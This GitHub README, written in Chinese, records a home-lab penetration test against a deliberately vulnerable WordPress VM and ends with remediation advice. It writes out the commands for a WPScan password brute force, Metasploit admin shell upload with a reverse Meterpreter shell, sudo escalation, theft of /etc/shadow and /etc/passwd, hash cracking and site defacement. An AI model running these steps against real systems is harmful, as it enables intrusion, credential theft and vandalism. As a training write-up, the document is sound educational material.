vedantika07/wordpress-defacement-lab
GitHub: vedantika07/wordpress-defacement-lab
一个 WordPress 渗透测试家庭实验室项目,完整演示了从侦察到网站篡改的真实攻击链并附带修复建议。
Stars: 0 | Forks: 0
# WordPress 网站篡改 — 家庭实验室渗透测试
## 🎯 目标
针对存在漏洞的 WordPress 部署模拟真实的攻击链 —— 从网络发现到漏洞利用、权限提升、凭证获取以及最终的网站篡改 —— 从而培养实战化的进攻性安全技能,并理解这些漏洞在现实世界中的影响。
## 🧪 实验环境
| 组件 | 详情 |
|---|---|
| 攻击机 | Kali Linux 2026.2 (VirtualBox) |
| 目标机 | Ubuntu 18.04, Apache 2.4.18, WordPress (托管于 `/secret/`) |
| 目标 IP | `10.0.2.8` |
| 网络 | VirtualBox 仅主机网络 (隔离) |
## 🛠️ 使用的工具
- **ARP 扫描** (主机发现)
- **Nmap** — 端口与服务枚举
- **Dirb** — 目录暴力破解
- **WPScan** — WordPress 漏洞与用户枚举,凭证暴力破解
- **Metasploit Framework** — 漏洞利用 (`exploit/unix/webapp/wp_admin_shell_upload`)
- **Meterpreter** — 后期利用,文件窃取
- **John the Ripper** — 离线密码破解
- 通过 `nano` 手动进行 shell 访问以实施篡改
## 📋 方法论与攻击链
### 1. 主机发现
在实验室子网 (`192.168.0.0/16`) 中执行 ARP 扫描以识别存活主机,在 `10.0.2.8` 处发现了目标。
📷 `screenshots/01-network-discovery.png`
### 2. 端口与服务扫描
对目标执行了激进模式的 Nmap 扫描:
```
sudo nmap -sV -sC -Pn 10.0.2.8 -vv
```
发现了三个开放端口:
- `21/tcp` — FTP (ProFTPD 1.3.3c)
- `22/tcp` — SSH (OpenSSH 7.2p2, Ubuntu)
- `80/tcp` — HTTP (Apache 2.4.18, Ubuntu)
📷 `screenshots/02-nmap-scan.png`
### 3. Web 目录枚举
对 Web 根目录使用 Dirb 来映射隐藏目录:
```
dirb http://10.0.2.8
```
发现了一个非显眼的 `/secret/` 目录,其中托管了完整的 WordPress 安装程序 (`wp-admin`, `wp-content`, `wp-includes`, `xmlrpc.php`)。
📷 `screenshots/03-dirb-enum.png`
### 4. WordPress 枚举
对发现的 WordPress 实例运行了 WPScan:
```
wpscan --url http://vtcsec/secret/ --enumerate u
```
确认了 WordPress 版本、服务器标头、暴露的 `readme.html`,并且 XML-RPC 已启用 —— 这是暴力破解和 pingback 滥用的常见攻击媒介。
📷 `screenshots/04-wpscan-enum.png`
### 5. 凭证暴力破解
使用 WPScan 的密码攻击模块和自定义字典,针对已知的 `admin` 用户名进行攻击:
```
sudo wpscan --url http://vtcsec/secret --usernames admin --passwords passwordslist.txt
```
成功恢复了有效的 WordPress 管理员凭证。
📷 `screenshots/05-wpscan-bruteforce.png`
### 6. 漏洞利用
掌握了有效的 WordPress 管理员凭证后,使用 Metasploit 的 WordPress 管理员 shell 上传模块来获取远程代码执行权限:
```
msfconsole
search wp_admin
use exploit/unix/webapp/wp_admin_shell_upload
set payload php/meterpreter/reverse_tcp
run
```
该操作通过 WordPress 管理面板上传了恶意插件/主题文件,并触发了一个反弹的 Meterpreter shell。
📷 `screenshots/06-metasploit-exploit.png`
### 7. Shell 访问与权限提升
以低权限用户 `marlinspike` 获取了 shell。通过 `sudo su`(该账户配置了 sudo 权限)提升至 root,然后导航至 Web 根目录并手动编辑了 `index.html`:
```
sudo su
cd /var/www/secret
nano index.html
```
📷 `screenshots/07-shell-and-privesc.png`
### 8. 后期利用 — 凭证获取
从 Meterpreter 会话中,下载了目标的密码数据库以进行离线分析:
```
meterpreter > download /etc/shadow /home/kali/shadow
meterpreter > download /etc/passwd /home/kali/passwd
```
📷 `screenshots/08-meterpreter-download.png`
📷 `screenshots/09-loot-files.png`
### 9. 离线密码破解
将窃取的 `passwd` 和 `shadow` 文件合并,并使用 John the Ripper 破解了哈希:
```
john combined.txt
```
不到一分钟便恢复了用户 `marlinspike` 的明文密码(SHA-512 crypt,加盐哈希)—— 这证明了即使在加了哈希的情况下,弱密码/重复使用密码依然面临风险。
📷 `screenshots/10-john-the-ripper-crack.png`
### 10. 网站篡改 (影响演示)
将目标的 `index.html` 替换为自定义的“被黑”页面(参见 [`hacked.html`](hacked.html)),以直观地演示入侵在现实世界中的影响。
📷 `screenshots/11-defacement-html-edit.png`
📷 `screenshots/12-defaced-page-live.png` — 篡改后的页面在浏览器中实时渲染于 `http://10.0.2.8`
## 🛡️ 修复建议
- **补丁管理:** 更新 WordPress 核心、插件和主题;目标过时的技术栈是初步立足点
- **隐藏/限制管理面板:** 在没有额外访问控制的情况下,不要在可预测或“秘密”路径上暴露 `/wp-admin/`
- **禁用 XML-RPC**,除非明确需要 —— 它是常见的暴力破解和 DDoS 攻击媒介
- **强制使用强且唯一的密码**,并在登录尝试时启用账户锁定/速率限制(暴力破解之所以成功,是因为使用了弱密码)
- **限制 sudo 权限** — 被攻破的低权限用户本不应拥有不受限制的 `sudo su` 访问权限
- **保护 `/etc/shadow` 和 `/etc/passwd`** 的权限;监控未经授权的文件读取
- **文件完整性监控**(如 AIDE, Tripwire),以检测对 Web 根目录文件的未经授权的更改
- **Web 应用防火墙 (WAF)**,以捕获恶意文件上传和已知的漏洞利用模式
## 📚 经验教训
- 实践了完整、真实的攻击链:侦察 -> 枚举 -> 漏洞利用 -> 权限提升 -> 凭证获取 -> 影响
- 了解了目录暴力破解如何揭示隐藏的攻击面(`/secret/` WordPress 安装)
- 深刻认识到,一旦与存在漏洞的 Web 应用相结合,单个弱密码如何级联演变为全系统沦陷
- 亲自动手实践了 Metasploit/Meterpreter 后期利用工作流以及使用 John the Ripper 进行离线哈希破解
## 📁 仓库内容
- `README.md` — 本份报告
- `hacked.html` — 部署到目标的自定义篡改页面
- `screenshots/` — 在攻击链各个阶段捕获的证据,按时间顺序编号
*我独立练习并完成了这个实验室,遵循了 Tutedude 网络安全专家提供的培训和指导。
*完全在隔离的家庭实验室中进行,用于个人技能发展。不代表、认可或促进对任何现实世界系统的未经授权的访问。*
标签:CTI, Facebook API, Web安全, WordPress, 后端开发, 安全实验靶场, 密码管理, 插件系统, 教育, 数据展示, 文件完整性监控, 红队, 蓝队分析